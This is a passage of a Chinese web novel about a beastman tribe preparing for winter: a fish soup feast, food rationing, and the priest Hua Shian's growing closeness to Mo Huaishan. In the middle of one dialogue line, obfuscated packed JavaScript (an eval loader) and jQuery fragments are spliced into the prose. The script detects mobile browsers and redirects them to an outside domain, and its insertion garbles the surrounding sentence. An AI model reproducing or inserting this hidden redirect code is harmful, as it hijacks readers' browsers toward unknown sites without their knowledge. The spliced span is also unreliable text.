一个个鼻子灵得很,花时安刚让莫淮山把竹筒递过来,闻到肉味的兽人一窝蜂似的凑了过来,里三层外三层,将石锅与花时安团团包围。 “天啦,好香好香!”巨启风犹如饿死鬼投胎,直勾勾地盯着石锅,口水都快流下来了,“什么时候可以吃啊祭司大人,锅里真是你们刚才拿的那个鱼?也太香了!” 鱼的香味萦绕鼻间,红云朗半眯着眼睛,一脸陶醉,“真的好香,刚才看那鱼丑兮兮的,煮熟了怎么这么香?还有这汤,变成白色了你们看到没有?” “激动个什么劲儿?刚才说鱼看着恶心,打死都不吃的人是谁来着?”红勇撑着红云朗的肩膀,不遗余力地调侃。 红云朗:“哎呀勇哥,别揭老底嘛!” “不行了不行了,可以吃了吗祭司大人?我好饿。” “原来河里真的有猎物可以吃,我还以为傻大个忽悠人呢。” “反正也抓不到猎物,要不我们狩猎队明天去河里抓鱼吧!要肉有鱼,要食物有松子,要是这阵子多弄点回来,根本不用担心怎么过冬!” “真可以诶,不过那鱼看着滑溜溜的,傻大个都是用像背篓一样的竹具才抓到的,我们是不是也要先做点竹具?” “祭司大人祭司大人,你觉得呢?” 先前看到鱼,族人的兴趣都不大,要么嫌鱼个头小,没多少肉,要么嫌黏糊糊滑腻腻,膈应或者害怕。这会儿看到热腾腾的鱼汤,没人嫌也没人害怕了,问题一个比一个多。 往锅里洒些盐,花时安用筷子将煮熟的鱼捞进竹筒,转头看向众人,捡了几个问题回答:“不是非要鱼笼才能抓鱼,直接下水抓也是可以的。这个就像去森林捕猎一样,一回生二回熟,熟练了空着手照样能抓到。” “淮山抓鱼那个竹具叫鱼笼,回头他可以教大家编。现如今确实不好找猎物,但我们有之前捡的板栗,现下剥出来的松子,暂时没那么缺食物。至于狩猎队到底要不要抓鱼……” 花时安挑眉,勾起嘴角笑了笑,“看你们,想吃就抓,不想吃就不抓。” 听到这话,红云朗迫不及待舔了舔嘴唇,“你就别戏弄我们了祭司大人,这可是肉啊,肉!谁会不想吃。” 呆呆看着石锅的巨明,“我想吃,现在就想吃。” “好想知道是什么味儿,祭司大人……” 花时安:“马上捞完了,拿筷子过来吧。” 鱼本就不多,煮的时间又稍微长了点,煮烂了,剩下的鱼肉也就更少了,全部捞出仅仅两竹筒。这么点肉懒得分,花时安索性叫人拿上筷子,一人在竹筒里夹一点,尝个味儿。 最后一点残渣捞出,拿筷子的兽人匆匆跑了回来,一个个就像是三天饿了九顿,迫不及待地伸进竹筒中夹鱼。 知道人多肉少不够分,大家也很收敛,一人一筷,绝不多夹。 虽然没有松子那么受欢迎,但鱼肉好歹也是肉。有段时日没沾荤腥了,一筷子下去,营地又沸腾起来。 “哇,好吃!闻着香,吃着更香!” “别一下子塞嘴巴里,要学我一样,一点点地抿。祭司大人说了,鱼有刺,小心卡喉咙。” “抓鱼,我要抓鱼,现在就去抓!” “太晚了,明天吧,明儿一早!” “好好吃,还想吃。” …… 没族人说得那么好吃,花时安也尝了一点,鱼肉鲜嫩滑爽,但调味料太少,只有姜和盐,吃着有点腥,还有点寡淡。 要是有酸菜或者辣椒就好了,酸菜鱼、红烧鱼…… 花时安的馋虫被勾起来了。 肉不够吃,锅里鱼汤也不够分,还好花时安早就准备。他让莫淮山拿来竹筒,盛出一半鱼汤倒在另一口锅里,然后……重新加水将熬好的鱼汤稀释一下,一锅鱼汤变两锅。 鱼汤再度沸腾,清洗干净的新鲜马齿苋放入锅中。不用煮太久,浸入汤中随随便便一烫,花时安扭头大喊一声:“吃饭啦!” 摘回来的松果刚好也处理得差不多了,听到动静的族人各自拿上竹筒、筷子,忙而不乱,井然有序地围在火堆旁。 打饭这种辛苦活儿轮不到腿脚不便的花时安,族人赶过来的时候,他已经端着竹筒功成身退,在旁边空地找了个好位置,优哉游哉地品尝美食。 加水稀释过一次,鱼汤颜色明显见淡,像一杯兑了水的牛奶。不过吃着是真的香,鱼的鲜香与马齿苋的清香充分融合,更加的鲜美,还有一丝清甜。 两根马齿苋下肚,花时安黯淡的眸子亮了许多。还不错,比清水野菜好吃多了,甚至比上次的绿鬣蜥炖野菜还要好吃。 “祭司大人。” 一声轻呼从前方传来,花时安抬起头,见撩着裙子的岩知乐匆匆朝他跑来。 棕裙是花时安亲手织的,裙摆长过膝盖。似乎发现了棕裙的正确用途,岩知乐用裙摆充当容器,兜着一大包东西飞快地跑到面前。 不等花时安开口,亚兽人单膝跪地,松开攥在手中的裙摆,被炭火烤过的松子如同一场小雨,“哗哗”掉落在地。 分量不少,松子雨下了好一会儿才停。 忙活完,岩知乐掸平裙摆抬起头,咧着嘴朝花时安笑了笑,“祭司大人,族长说了,今天收获的好日子,松子随便吃,想吃多少吃多少,我特意给你拿过来的。” “谢谢你。”花时安十分感动,但低头看着堆成小山包的松子,嘴角微微抽动了一下,“会不会太多了?我吃不完。” “哪里多,我们两个人吃呀。” 说完,亚兽人转身跑走了。不到半分钟,他又端着竹筒回来了,非常熟络地坐在身旁,喝鱼汤,吃野菜,理所当然地把花时安当成饭搭子。 会错意的花时安略有些尴尬,喝了口鱼汤缓解。 “祭司大人你好厉害啊!”吸饱汤汁的野菜吃进嘴里,岩知乐鼓着腮帮子,眼睛亮晶晶的,一脸崇拜地看着花时安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15409146|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“天天吃的马齿苋到你手里,怎么就变得这么好吃呢?” 嘴巴真甜,花时安笑了,“不是我的功劳,是鱼的功劳。鱼的味道和营养都熬在了鱼汤里,煮野菜当然好吃。” “那也是你的功劳,鱼是你抓的呀。”岩知乐道。 花时安:“我今天一天都和你在一块,待在部落里,哪有时间去抓鱼?鱼是淮山抓回来的。” “才不是!”岩知小嘴一瘪,小声嘟囔:“傻大个自己都说了,鱼笼是你教他编的,也是你带他去放的,没有你,他怎么可能抓得到鱼。” 自己说的?花时安低头喝了口鱼汤,不紧不慢道:“那也不能否定他的功劳,我今天确实没出门,鱼也确实是他带回来的。” 岩知乐忽然停止咀嚼,一瞬不瞬地盯着花时安。过了半晌,他嘴唇微动,压低了嗓音问道:“祭司大人,你是不是喜欢傻大个?我听说你快成年了,不会想找他当伴侣吧?” “咳,咳咳——” 鱼汤呛入气管中,花时安捂着嘴巴直咳嗽。 岩知乐吓坏了,赶忙拍他的后背,帮他顺气,“祭司大人你没事吧?慢点喝嘛,别急。” 这是急不急的问题吗? 花时安哭笑不得,弓着腰咳嗽了好一阵儿,这才慢慢缓过来,泪眼婆娑地看着语出惊人的罪魁祸首,“好了,咳,我没事。你……为什么会觉得我喜欢他?” 显然对这个话题十分感兴趣,岩知乐光速解决掉鱼汤野菜,抛来一个意味深长的眼神,“你待他和其他人不一样,对他特别好,特别照顾他。还有他放跑猎物那天晚上,我看到了!看到你们坐在草地上,挨得特别近,像是在亲——” “没有这种事。”花时安打断他的话,无奈揉了揉眉心。 放下竹筒,岩知乐托着腮望着花时安,如自言自语般喃喃道:“我知道他救过你,但你对他也太好了,好的我都嫉妒。如果我是兽人就好了,我也想做祭司大人的伴侣。” 这话说的,花时安不知道怎么接,赶忙吃根野菜压压惊。 沉默并不能终止话题,岩知乐一个人越说越起劲:“哎!不能做祭司大人的伴侣真遗憾,但我更希望祭司大人能找个好伴侣。你是最厉害,最聪明的亚兽人,应该找一个强大的兽人。” “他怎么样?” 岩知乐果断抬手一指,食指对准的正是火堆旁剥松子的红勇,“狩猎队队长,是部落最聪明最强大的兽人,族长有时候都要听他的话,和祭司大人很般配。而且他——” “知乐,吃东西吧。”花时安按下岩知乐高高举起的手,塞了一把烤松子给他,“不要操这个心了,我暂时没有找伴侣的打算。” 岩知乐瘪了瘪嘴,“好吧,你还没成年,不急着找伴侣。但以后要是找伴侣,你先考虑红勇,红云朗他们呀,反正不要找傻大个当伴侣。” 今天丰收,火堆旁格外热闹,人们剥着松子,喝着汤,老远就能听到欢笑声。 高大的兽人似乎也融入了集体,与族人并肩围坐。没有人和他说话,没有人与他分享食物,他独自吃着松子,但族人笑的时候,他也会跟着露出有点憨憨,又十分真挚的笑容。 漫不经意地扫了一眼,花时安嘴角微微扬起,“再说吧,以后的事情谁说得准。” 50-60 第51章 第 51 章 分发食物 朔风卷着枯叶在森林里肆虐, 寒意犹如潮水漫过林梢。仅是短短一夜,河岸枯草裹着一层厚实的霜,随风摇曳的树梢甩出冰晶碎屑,化作透明冰刃砸落在地。 呼啸的寒风与树皮摩擦, 低沉阴郁的呜咽划破寂静直冲云霄, 犹如巨兽嘶吼咆哮, 听得人毛骨悚然,冻得人直打哆嗦。 “嘶,嘶——好冷好冷,冷得我牙齿打颤。” “真的好冷,这天气怎么回事?一下子这么冷。” “估计就这几天,要落雪了。” “咳, 咳咳……完蛋,我好像着凉了,嗓子有点痒。” “风太大了,冷得要命,我好像也有点不舒服。” “再忍忍,族长说了,等下分完食物就可以回树洞了。” …… 气温骤降, 被冰霜封冻的森林已不再适合探索, 狩猎队采集队不再外出,但新的一天开始, 部落所有年轻人还是起了个大早, 搓手跺脚站在仓库外。 寒风都快把人吹蔫儿了,好在食物能给人带来力量。 土豆、松子、板栗……秋日囤积的食物陆续从树洞仓库里搬出,一背篓又一背篓,琳琅满目的食物看得人心里暖洋洋。 族人一趟一趟地跑, 大量食物从仓库搬到营地,花时安和木族长带着一群兽人,也开始忙碌起来了,数土豆、捧松子……拿着背篓进行分配。 食物一共分成三个等分,狩猎队的兽人最多。松子就不用说了,管够,土豆、板栗这类管饱的一人大半背篓、烟熏腊肉五块、熏鱼五条、蜂蜜两竹筒、蓝莓干蔓梅干两捧…… 杂七杂八的加起来,一个兽人差不多能分到两背篓食物。 采集队的亚兽人仅次于兽人,松子照样管够,土豆、板栗要稍少一点点,肉类和数量不多的食物在兽人的基础上减半。 食物充裕,不会让任何一个人饿肚子,留守部落的族人也能分到不少食物,绝对够吃,只是来之不易的熏肉熏鱼,一人只分到一块。 能者多劳,劳者多得,这是部落不变的规则。 当然,这并非一整个冬天的食物,这只是其中一部分。 食物充裕但远没到任意吃喝的程度,族长担心族人控制不住自己,前一阵大吃大喝,后一阵饿肚子,所以决定用少量多次的方式来分发食物。 部落人多,分装食物也是个辛苦活儿。 折腾到天色大亮,终于装完了,花时安甩了甩略有些酸胀的胳膊,抬头望去,密密麻麻的背篓将整个营地铺满,快要将人淹没。 而层层叠叠的背篓之后,忙活完的兽人、亚兽人排排坐。没有人说笑,没有人打闹,好似正在参加一场重要会议,他们安安静静,坐得一个比一个端正。 没有将食物直接发到族人手里,显然是有一场“会”要开,果不其然,花时安正寻思呢,两声轻咳从身旁响起,打破沉闷的寂静。 “咳咳!” 与花时安并肩而坐的木族长忽然站起身,有些刻意地清了清嗓子。他扬起下巴环视一圈,旋即面向众人摆摆手,派头十足,“那什么,人都到齐了没?” “没,今天风太大了,青叔他们怕着凉,不太敢出来吹风。”端坐人群中的红映兰回答道。 木族长点点头表示知道了,转头朝红勇扬了扬下巴,温声嘱咐:“老人小孩没办法来,你们兽人辛苦一点,一会儿把食物给他们送树洞去。” “没问题。”红勇一口应下。 又一阵凛冽的寒风吹过,排排坐的族人缩着脖子,抱着胳膊直打哆嗦。木族长见状不再耽搁,面向众人,颇为郑重其事道:“这段时日大家辛苦了,我都看在眼里,自打来了巨树森林,你们就没怎么好好休息过。” “如今天气越来越冷,已经不能再往外面跑了,所以从今天开始,大家不用早起,不用出门,待在自己树洞好好过冬。借这个机会好好休息一下,养好精神,来年春天继续努力!” 整个秋天一直在忙碌,上山下河一刻未歇,没有人不想休息。这话一出,捅了马蜂窝似的,人群瞬间沸腾起来。 “好耶!可以休息咯。” “不辛苦,族长我们不辛苦!” “尽会说漂亮话,不辛苦你别休息。” “不用早起不用出门,这日子简直太幸福了!可惜啊,要是不那么冷就好了。” “想得美,不冷就该干活了,还想休息。” …… 你一言我一语,木族长的声音完全被淹没,无奈扯着嗓子大喊一声:“这会儿又不冷了?都闭嘴别吵吵,赶紧说完赶紧散,冻死我了。” 待众人重新安静下来,木族长指着不远处大树,有条不紊地安排道:“过冬是该好好休息,但树洞里养着红羊和野兔,也不能撒手不管。我和祭司大人商量了一下,决定轮流照看。” “一个兽人带两个亚兽人,每天早晚喂食喂水,清理粪便,下午不那么冷的时候去河岸边薅点枯草。比方今天红勇带着祭司大人和红映兰,明天就是岩秋雨带着长月月和岩知乐——” “我才不要跟岩秋雨!”岩知乐发出不满的抗议。 木族长脸一垮,愤愤瞪了他一眼,“比方,我这是在打比方!你们爱跟谁跟谁,自己商量好了跟红勇说,反正每天有人照看就行,别让我发现有人偷懒!” 太冷了,风吹得脑壳昏,木族长实在不想多费口舌,垂眸将目光转向花时安,“祭司大人,你来说几句?还有什么要交代的吗?” “没,我就不说了。” 花时安抱着膝盖蜷成一团,飞快地摇摇头。 “成。”木族长不再磨蹭,抬起头看向众人,直接大手一挥,“就这样吧,来来来,排队领食物。” …… 作为部落的祭司,花时安的待遇自然和兽人一样,领到了最大、最多份的食物。特权很好使,其他人还在排队,他已经来回跑了两趟,不紧不慢地将属于自己的食物搬回了歪脖子。 满满当当两背篓,不是一般的沉。 花时安把背篓卸在洞口,如同蚂蚁搬家一样,将背篓里的食物全部拿出来,一点点搬进树洞里。 树洞还是太小了,住的时间越长东西越多,都快找不到地方放了。好在床底下还有点空间,花时安趴在地上铺了一层棕片,把土豆和板栗塞了进去。 今天分的松子是昨晚加班加点炒熟的,担心放地上潮了,花时安又跑到营地拿了个小簸箕回来,先用棕片将松子包起来,再放在簸箕里。 提前在洞壁上钉了一排竹钉,用来挂熏肉熏鱼正好合适。 花时安将棕绳串好的肉全部挂上去,慢慢退到洞口,回头看向自己仅有两件家具的树洞,心里要多舒坦有多舒坦。 小而温馨的树洞,短时间内吃不完的食物,最主要的是大集体生活结束了,接下来一整个冬日的时间都属于自己,想做什么做什么。 唯一遗憾的就是冷,太冷了。 猫着腰钻出树洞,一阵凛冽的寒风迎面吹来,花时安双手抱着胳膊,牙齿不受控制地打颤。 而前方营地里的族人似乎感觉不到冷,他们领到食物没有急着离开,一个个面带笑容蹲在火堆旁,欢天喜地地堆干柴生火、烤土豆、煮板栗、煮腊肉。 冬天食物不容易坏,他们会将部分食物弄熟再带回树洞,这样就可以吃了睡,睡醒直接吃,出门一趟宅家十天。 原身以前的花栗鼠部落也是这样过冬天的,花时安隐约还记得那烤熟又放了十天半个月,比石头还硬的烤肉,愈发坚定了不要这样过日子的心。 树洞离营地有一定的距离,每天跑去营地煮饭太麻烦,不如自己垒一个小灶。于是花时安背着背篓径直走到河边,蹲在岸边开始捡石头。 挑大的平的捡,不一会儿就捡了小半背篓。 石头重,花时安很有自知之明,当即收手,背上背篓往回走。 踩着碎石爬上斜坡,花时安老远就看见傻站在自家歪脖树跟前的兽人。兽人两只手满满当当,一只手拎着熏鱼,一只手拎着熏肉,像是过年前来串门的亲戚。 似乎在寒风中站了好一会儿了,花时安提着背绳小跑上前,却又在靠近兽人时刻意放慢脚步,蹑手蹑脚地走到身后,突然伸手拍了他一下,“嘿,干嘛呢?” 很遗憾,兽人没有被吓到。显然早知道是他回来了,莫淮山不紧不慢转过身,唇边漾着浅淡的笑,“时安你回来了。” 好没意思哦,花时安噘着嘴,“知道我回来了干嘛背对着我?” “我、我配合你啊。”莫淮山慢吞吞地解释:“听到有人跑过来,我本来想回头看的,但声音一下子变得很小,慢慢朝我靠过来,我就知道你想吓唬我,所以……” “还挺聪明,那怎么不好人做到底,假装被我吓到呢?”花时安取下背篓,笑着打趣。 莫淮山点点头,郑重其事道:“我记住了,下次会的。” 兽人实诚,玩笑话也当真。花时安不忍心再逗弄他,低头看向他的手,伸手指了下,“你这是什么情况?五块熏肉,五块熏鱼,都拎我这做什么?” 以为他忘了昨天的约定,兽人脸上笑意渐渐凝固,眼底划过一丝失落。 喜怒形于色,兽人的心思太好猜了,花时安猜到了,却什么也没说。 又是搓手又是呼气,兽人看起来紧张又无措,而短暂的沉默后,他忽然抬起头,直勾勾地看着花时安的眼睛,抿着嘴唇十分认真地说:“昨天我们说好一起过冬,你后悔了吗?” “本来想着把土豆、松子那些一块背过来,又担心你的树洞放不下,就先把肉带过来了。”莫淮山抬手把肉递给花时安,眼神真挚而坚定,不容拒绝,仿佛亲手剖开胸膛,将一颗跳动的心脏递给对方。 “时安,我、我想和你一起过冬。” 第52章 第 52 章 隐疾 当初选歪脖子算是选对了, 粗壮的树干横在树洞上方,如一角屋檐,一座古朴简陋的凉亭,庇护着树脚一方小天地。 虽遮挡不了凛冽的寒风, 但好歹能阻隔雨雪侵蚀, 花时安琢磨了一下, 带着兽人在树洞前方两米处,用河边捡回来的石头垒砌了两个小灶台。 这几天风有点大,担心风把灶台吹垮,莫淮山又跑去河边挖了好些淤泥,认认真真地将小灶台加固了一番。 一个煮一个炒,两个人两个灶, 正正好好。 精益求精折腾得太久了,两个灶台刚做好,营地里的火光已经熄灭。盘旋在半空中的青烟随风消散,人们背起背篓陆续离开,说笑声渐渐远去,最后消失不见,只剩一棵棵高耸的巨树矗立在丛林间。 森林重归寂静, 昔日热闹的营地变得萧条而冷清, 又一阵寒风呼啸而过,花时安缩着脖子望向远处, 恍然中有种天地间只剩他们二人的错觉。 哎, 多少有点不适应。 不适应归不适应,族人忙完了,营地里的石锅该他们用了。想着族人短时间内用不上这些石锅,花时安一点也没客气, 直接和兽人抬走一大一小两口石锅。 大石锅用来装水,省得一趟一趟往河边跑;小石锅用来煮汤,刚好够两个人吃,至于炒菜,先前兽人带回来的蚌壳正好能用一用。 没吃早饭肚子早就饿了,石锅抬回来放好,花时安交代兽人去河边打水,洗土豆,自己则背上空背篓,径直走向木族长家树洞。 “咚咚咚,咚咚咚——” 高耸入云的巨杉树脚下,花时安半蹲在地,抬手叩响紧闭的竹门。 人似乎就在门边,敲完门手还没放下去,竹门猛地从里面推开。还好花时安反应快,及时往旁边躲了点,不然鼻子高低得被竹门刮一下。 被人扰了清净,木族长怨气比鬼还重,压根没看来人是谁,劈头盖脸一顿输出:“敲敲敲,关上门就来敲。有事刚才在营地怎么不说,刚把被窝捂热乎,你——” 话音戛然而止,唾沫横飞的木族长无意往外一扫,终于看清了来人灿烂的笑脸。 这不就尴尬了,木族长摸了摸鼻头,立马扯出一个笑,但没等他说话,花时安抢先一步开口:“不好意思啊族长,刚才在营地没想起来,打扰你休息了。我就是过来和你说一声,我要去仓库拿点调料,羊油、辣椒之类的。” “这叫什么话,不打扰不打扰。”木族长态度一百八十度大转变,当即推开竹门钻出树洞,搓着胳膊朝花时安扬了扬下巴,“走,我带你拿去。” 花时安诧异地挑了下眉,“不用了,这么冷的天,族长你还是好好休息吧,我自己去就行。” “不碍事,我正好也有些话要和你说。” 出门被风一吹,浑身鸡皮疙瘩都起来了,木族长又探进树洞将羊皮取出,紧紧裹住上半身,嘿嘿一笑,“这下暖和多了,走。” 花时安轻笑一声,与族长并肩前往仓库。 木族长也没闲着,边走边叨叨:“时安呐,你是部落的祭司,那树洞里吃的用的,你随便拿,用不着特意跑来和我说一声。早些年日子还好过的时候,祭司都不用干活,如今这……哎,委屈你了。” 整半天就说这个?花时安不以为然地耸耸肩,“什么委屈不委屈的,我这人闲不住,你要真让我待着什么都不做,那才是委屈我呢。” “哈哈哈!”木族长哈哈大笑两声,笑着笑着突然又安静了,神情逐渐凝重,眼神复杂地看着花时安,“哎呀,你是个好孩子,是我见过最懂事,最聪明的亚兽人。” “记得上次说过,过完冬天你就成年了对吧?像你这样的亚兽人应该找个强大的兽人伴侣,感觉红勇怎么样?他头脑好使,身强力壮,兽人都服他,不出意外的话,过些年部落的族长就该是他了。” 兜兜转转,原来在这里等着,花时安不紧不慢地走着,语气不咸不淡:“当族长可以,他很合适。当伴侣就算了,你可别撮合我们,我对他没兴趣。” “红勇都看不上?”木族长不依不饶,“那红云朗、红简、岩秋雨……” 兽人的名字叫了个遍,花时安直摇头,“没兴趣。” “这也没兴趣那也没兴趣,你就对那傻大个有兴趣。”木族长急了,声音越来越大,最后三个字几乎是吼出来的。 说完他就后悔了,担心花时安嫌他管得宽,赶忙扭头看了一眼。 可这一眼扫过去,花时安不仅没生气,甚至笑着点点头,“嗯,你说对了族长,确实有兴趣。” 直接承认了,他直接承认了! 毫不在意丢下一句怎样令人震惊的消息,花时安笑得云淡风轻。而木族长呆若木鸡,好似被突如其来的闪电劈傻了,张嘴瞪眼,僵硬地愣在原地。 走出几步发现身旁人没了,花时安这才停下步伐回过头,关切地问了一句,“怎么了族长?” “怎么了,你说怎么了?”木族长一巴掌拍在额头上,终于回过了神,三步并作两步冲到花时安面前,说话都打起了磕巴,“你你你,你居然真就看上了傻大个!” 花时安:“他有名字,再说你不是早就猜到了嘛。” “猜到和亲耳听到怎么能一样!” 木族长猛拍胸口顺过气,恨铁不成钢地看了他一眼,“你说你到底看上他什么了?做事毛手毛脚,脑子也不太好使,被人欺负都还傻乐呵,他哪里比得上红勇?就因为救过你?” 一句话把兽人贬得一无是处,花时安眉头微皱,眼底闪过一丝不悦,语气却依旧和善:“危难时刻没有抛下同伴,说明他心善;被人欺负但不和人起争执,说明他性格好。” “至于做事毛手毛脚,头脑不好使,纯属无稽之谈。他其实很聪明,挖陷阱、编鱼笼……哪个不是一教就会?他自小生长在一个被人嫌弃的环境,很多事情他没有机会接触,没有人教,所以才显得比较笨拙。” 木族长沉默了,倒不是被花时安的话说服了,而是看见了花时安不悦与认真。但有些事不说不行,他长叹一口气,压低嗓音道:“行,就算你说得对,但、但……” 似乎难以启齿,木族长支支吾吾半天没说出个所以然。 好奇心被勾起来了,花时安问:“不祥之人?” “不是。”木族长又叹了一口气,颇为严肃道:“在很久很久以前,我听说部落也出过像傻、莫淮山这样,兽形奇怪的不祥之人。据说这种人除了意味着不祥之外,他们有隐疾,还、还……不能孕育幼崽!” 不、不能孕育? 木族长说得含糊,花时安却一下就听懂了。 不能孕育幼崽并非指不举,应该类似生育功能障碍?兽人是豹子和松鼠的后代,或许像马和驴杂交出来的骡子一样,因染色体问题而无法繁衍后代? 不过兽人首先是人才对,怎么会被动物的远系繁殖影响呢?花时安想不通,捏着下巴琢磨。 他的沉默在木族长眼里又变成了另一重意思,木族长轻咳一声,打铁趁热补充道:“别的可以不管,但幼崽啊,无法孕育幼崽可是天大的事!每个亚兽都要生养幼崽的,时安,你和他在一块是没有结果的,你也不想没有幼——” “谢谢你族长,”花时安忽地笑了,长睫阴影下,澄澈的眸子愈发明亮,“谢谢你告诉我这个好消息。实话实说,我从来没有想过要生养幼崽。” 不多解释,花时安说完便背着背篓扬长而去,徒留木族长风中凌乱。 羊油、辣椒、花椒、生姜、酸木瓜干各拿一点,花时安抓了两把兽人在山上采的岩耳,又把前段时间和亚兽人一起挖的魔芋装进背篓,最后拎上两捆干柴美美回家。 和木族长说话耽搁了一会儿,回到歪脖子树时,贤惠勤劳的兽人把一切都收拾好了。 大石锅装满清水,小石锅烧着开水,土豆和蚌壳清洗干净,简陋的石灶前多了两块石头凳子,上面还铺着两张棕片。 干柴燃烧的碎响盖住了脚步声,发现花时安的时候,人已经走到了面前。莫淮山赶忙起身,接过他手中干柴,又帮忙卸下背篓,“这么多东西怎么不让我去拿?重不重,冷不冷?快坐下烤一会儿。” 大半背篓魔芋,讲真,挺重的。 花时安一瞬不瞬地看着他,伸手指向自己被背上勒红的肩膀,小声嘟囔:“重,肩膀都勒疼了。” 莫淮山扫过他的肩膀,微微一愣,旋即垂眸错开视线,不太自然地抿着嘴唇,“你、你揉一揉。” “我揉吗?”花时安甩了甩胳膊,轻叹一声:“哎,拎干柴拎的胳膊也酸。” “那、那……” 干柴和背篓放在地上,莫淮山重新坐回灶台边,耷拉着脑袋小声说:“那我、我来做饭,时安你、你休息,烤火。” 真不经逗,脑袋都快钻地缝里去了,说话又开始结巴了。 花时安笑了笑,伸手在背篓上拍了下,“太冷了,我先去把羊皮披上。背篓里有岩耳,你用水泡一半,我们中午吃熏肉炒岩耳。” 第53章 第 53 章 岩耳炒腊肉 清水一煮, 瘦肉居多,略显干瘪羊后腿肉立刻回春,变得紧实而饱满。没有晒太久,羊肉纹理依旧清晰, 色泽鲜亮, 散发着诱人的甘香。 用筷子把肉夹出来, 锅中飘着油花的肉汤也不能浪费,花时安将削皮切块的土豆倒入锅中,又放了几颗板栗,少许姜片、酸木瓜干,就着肉汤炖煮。 刚出锅的羊肉很烫,兽人自告奋勇地接了过去, 按照花时安的要求切成片。做事很积极,刀功却一言难尽,不知肉太烫还是刀太钝,切出来的羊肉一片厚一片薄,一片散成渣。 一整块羊肉还是很大的,四指宽,半截小臂长, 花时安一个人吃估计能吃三天。考虑到兽人饭量大, 花时安让他全部切了,一半原汁原味直接吃, 一半留着炒岩耳。 岩耳也泡发了, 一把干岩耳泡发之后变成了满满一竹筒,甚至还在往外冒。 兽人切肉的功夫,花时安将岩耳清洗干净,大片撕成小片, 随后将另一个小灶点燃,架上他的蚌壳小炒锅。 蚌壳质地较脆,不耐高温,容易破碎,其实不适合当炊具,但如今实在没有更合适的炒锅,一个蚌壳炒个一两回菜,应该顶得住……吧? 怀着忐忑的心情,花时安从竹筒里挖出一块洁白的羊油,小心翼翼放入锅中。 温度起来得很快,羊油顺利熔化,见蚌壳没有发生变化,花时安松了一口气,紧接着将事先切好的姜粒、辣椒段、花椒倒入锅中,用竹铲进行翻炒。 热油激发出调料的香味,下入切好的烟熏羊肉片。刚出锅的羊肉多少带点水,水珠与热油一结合,好家伙,噼里啪啦炸开了花。 油星子乱蹦,花时安赶忙用羊皮捂住脸,同时手中竹铲快速翻炒几下,指挥兽人将清洗干净的岩耳倒入锅中。 羊肉瘦肉居多,炒太久会硬,岩耳也很容易熟,快速翻炒使岩耳与热油充分融合,再利用蚌壳温度将岩耳烫熟,最后撒上一点毛毛盐即可出锅。 不用特意把菜铲起来,锅即盘子,盘子即锅,待温度稍微降下去一些,花时安垫了张棕片,直接将整个蚌壳端回树洞。 土豆还有点硬,两大盘羊肉端进树洞,花时安又给小灶里添了点柴火,旋即走到大石锅旁,舀了一竹筒水,回头唤兽人:“快来洗手淮山,我们先吃着,一会儿菜凉了,土豆让它慢慢煮。” “嗯,来了。” 兽人闻言起身凑过来,和花时安一块洗手。 搓搓手,甩了甩水珠,花时安先行起身走向树洞。 几步路,转眼便走到洞口,花时安特意停下来回头看了一眼,这一次,憨厚老实的兽人紧紧跟在身后。 飘忽的视线,紧握的双手还是暴露了他的紧张,花时安猫着腰先一步钻进树洞,而后转身与他招招手,轻声安抚:“没事的,进来吧。树洞本来就是吃饭睡觉的地方,没那么多讲究。” 对花时安而言,树洞是家,是吃饭睡觉的地方。 对兽人而言,吃饭睡觉的地方就是他们的私人领地,外人不能随意进入的私密领域。 掌心都开始出汗了,莫淮山轻轻“嗯”了一声,硬着头皮钻进树洞。 人生中第一次踏入亚兽人的领地,莫淮山低头垂眸,不敢乱瞟乱看,但眼睛好似完全不受控制,一点点扫过平整狭小的竹床,杂而不乱的矮桌,窥探着亚兽的隐私。 这是亚兽吃饭睡觉的地方,属于他的气息很浓,兽人鼻翼翕动,平稳的呼吸渐渐急促,而过了两秒反应过来自己在做什么,莫淮山耳朵一下子就红了。 洞内光线昏暗,没察觉到兽人的反常,花时安蹲坐竹桌前,还在跟他显摆,“怎么样?我这树洞是小了点,但收拾得还算不错吧?” 憋着气不敢呼吸,莫淮山小鸡啄米似的点点头,“整、整洁又干净,看着很、很舒服。” “是吧,我也觉得。”花时安心满意足地笑了,旋即拍拍身侧空位,朝兽人扬了扬下巴,“还站在干嘛,坐呀,菜都要凉了。” 摒弃心中杂念,莫淮山深吸一口气,坐在花时安身旁。 先腌制再烟熏,蚌壳里的羊肉香得要命,花时安早就饿了,兽人一坐下他便拿起筷子,夹了一片原汁原味的羊肉塞进嘴里。 瘦而不柴,干香有嚼劲,咸味和烟熏味恰到好处,完美融合,丰富的口感、独特的味道令人回味无穷。 一片羊肉彻底激活了味蕾,花时安胃口大开,又尝了下岩耳炒腊肉。岩耳爽滑脆嫩,泛着油光的羊肉麻辣干香,什么腥味膻味,不存在的,只有香味满口乱窜。 沉浸在美食中无法自拔,小半盘羊肉下肚,花时安终于想起身旁还坐着一个人。 莫淮山吃相很好,埋头吃饭,一声不发,花时安鼓着腮帮子看向他,刚想问问味道怎么样,结果余光一扫,在兽人额头上看到一片细密的汗珠。 这大冷天的,不至于热出汗,那这是……辣的? 炒羊肉确实放了一把干辣椒段,吃着稍微有点辣,但他分明记得兽人能吃辣,上次烤全羊、炖羊杂,莫淮山特意拿了放有辣椒的干碟。 就很奇怪,花时安咽下嘴里的食物,用胳膊轻轻撞了他一下,“怎么样淮山,好吃吗?炒羊肉合你的胃口吗?” 莫淮山拿筷子的手微微一顿,舔了舔嘴唇,“好、好吃,特别香,我很喜欢吃。” “是吗?”花时安看着他薄而绯红,抹了唇脂似的嘴唇,忽地笑出声,“干嘛呀,不能吃辣你要告诉我,我少放点不就行了吗?非要硬吃,看你一脑袋汗,嘴巴也通红。” 莫淮山后知后觉地摸了下额头,果然摸到了一手汗。 这就尴尬了,兽人手忙脚乱地擦掉汗珠,又用手背揉了揉嘴唇,着急忙慌地和花时安解释:“不辣,我喜欢辣椒的味道,好吃的时安。” 又菜又爱吃?不对,这反应太大了。 